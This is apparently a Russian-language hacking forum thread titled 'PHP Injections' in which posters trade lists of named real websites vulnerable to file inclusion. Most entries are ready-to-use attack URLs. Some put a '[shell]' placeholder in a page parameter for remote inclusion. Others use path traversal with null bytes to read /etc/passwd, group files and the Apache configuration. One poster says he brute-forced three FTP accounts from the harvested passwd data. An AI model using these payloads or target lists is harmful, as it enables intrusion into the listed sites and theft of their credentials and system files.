PHP Иньекции

=\\

 

=\\

 

вот и до сюда я добрался

Code:

http://www.narkote.net/ndstat/reports/index.php?rep=[shell]&per=week

 

=\\

 

Code:

http://www.la-rose-eternelle.org/index.php?page=[shell]

 

Code:

http://www.ph.unimelb.edu.au/events/?link=../../../../../../etc/passwd
http://www.ph.unimelb.edu.au/events/?link=../../../../../../etc/group
http://www.ph.unimelb.edu.au/events/?link=../../../../../../etc/hosts
http://www.ph.unimelb.edu.au/events/?link=../../../../../../etc/services

 

Code:

http://www.aeac.org.br/?pg=../../../../../../../etc/passwd
http://www.aeac.org.br/?pg=../../../../../../../etc/group
http://www.aeac.org.br/?pg=../../../../../../../etc/services
http://www.aeac.org.br/?pg=../../../../../../../etc/hosts

 

Code:

http://www.conscienciajovem.org/?pagina=[shell]

 

Code:

http://www.lasequia.org/alenergia/index.php?pagina=[shell]

 

Code:

http://conflictology.ru/index.php?pg=../../../../../../../../../../etc/passwd
http://conflictology.ru/index.php?pg=../../../../../../../../../../etc/groups
http://conflictology.ru/index.php?pg=../../../../../../../../../../etc/services
http://conflictology.ru/index.php?pg=../../../../../../../../../../etc/services

По паре логин/пасс с файла /etc/passwd сбрутил три аккаунта к фтп.

 

Code:

http://www.mantracvostok.ru/russian/page.php?pg=[shell]

 

=\\

 

=\\

 

=\\

 

Code:

http://www.internetelite.ru/medprom/index.phtml?part=[shell]

 

http://www.superyacht.de/bex.phtml?content=

 

Code:

http://www.dircom.udep.edu.pe/index.php?t=../../../../../../../../../etc/passwd%00
http://www.dircom.udep.edu.pe/index.php?t=../../../../../../../../../etc/group%00
http://www.dircom.udep.edu.pe/index.php?t=../../../../../../../../../etc/ftpusers%00
http://www.dircom.udep.edu.pe/index.php?t=../../../../../../../../../etc/hosts%00
http://www.dircom.udep.edu.pe/index.php?t=../../../../../../../../../etc/services%00

 

2+StArT+:
Не боянь! Разве КРОТ_find не для всех АНТИБОЯН поддержывает?

Вот вам инклуд удаленный:

Code:

http://www.tgwashington.org/old/index.php?pg=[shell]

 

2+StArT+:
Пацанчик ты куда так розогнался?
Тебе же сказали, боянить - нехорошо!
Прекрати постить то, что люди давно постили до тебя!

Инклуд локальный:

Code:

http://home.no.net/taikido/show.php?page=../../../../../../../../etc/passwd%00
http://home.no.net/taikido/show.php?page=../../../../../../../../etc/group%00
http://home.no.net/taikido/show.php?page=../../../../../../../../etc/hosts%00
http://home.no.net/taikido/show.php?page=../../../../../../../../etc/services%00
http://home.no.net/taikido/show.php?page=../../../../../../../../etc/syslog.conf%00

 

http://tanatos.ru/index.php?nav=/../../../../../../etc/passwd%00&id=17
http://tanatos.ru/index.php?nav=../../../../../../../../../../../usr/local/etc/apache2/httpd.conf%00&id=17
http://tanatos.ru/index.php?nav=../../../../../../../../../../../usr/local/www/pwd%00&id=17